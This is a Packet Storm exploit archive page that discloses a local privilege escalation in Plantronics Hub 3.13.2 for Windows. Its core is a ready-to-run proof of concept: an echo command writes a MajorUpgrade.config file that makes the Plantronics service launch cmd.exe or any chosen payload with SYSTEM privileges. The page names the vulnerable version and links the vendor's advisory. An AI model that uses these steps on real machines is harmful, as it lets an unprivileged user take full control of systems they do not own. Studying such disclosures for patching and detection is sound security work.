exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Plantronics Hub 3.13.2 Local Privilege Escalation

Plantronics Hub 3.13.2 Local Privilege Escalation
Posted Jan 3, 2020
Authored by Markus Krell

Plantronics Hub version 3.13.2 suffers from a local privilege escalation vulnerability.

tags | exploit, local
SHA-256 | 339cf6961e3d99bb3313daad76cb69c0c28d3894b10b7c2c36bed47bb3a1e73c

Plantronics Hub 3.13.2 Local Privilege Escalation

Change Mirror Download
# Exploit Title: Plantronics Hub 3.13.2 - Local Privilege Escalation
# Date: 2020-01-2
# Exploit Author: Markus Krell - @MarkusKrell
# Vendor Homepage: https://support.polycom.com/content/dam/polycom-support/global/documentation/plantronics-hub-local-privilege-escalation-vulnerability.pdf
# Software Link: https://www.plantronics.com/content/dam/plantronics/software/PlantronicsHubInstaller-3.13.2.exe
# Version: Plantronics Hub for Windows prior to version 3.14
# Tested on: Windows 10 Enterprise
# CVE : N/A

As a regular user drop a file called "MajorUpgrade.config" inside the "C:\ProgramData\Plantronics\Spokes3G" directory. The content of MajorUpgrade.config should look like the following one liner:
<WINDOWS-USERNAME>|advertise|<FULL-PATH-TO-YOUR-DESIRED-PAYLOAD>

Exchange <WINDOWS-USERNAME> with your local (non-administrative) username. Calling cmd.exe is the most basic exploitation, as it will spawn a system shell in your (unprivileged) windows session.
You may of course call any other binary you can plant on the machine.

Steps for exploitation (PoC):
- Open cmd.exe
- Navigate using cd C:\ProgramData\Plantronics\Spokes3G
- echo %username%^|advertise^|C:\Windows\System32\cmd.exe > MajorUpgrade.config
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close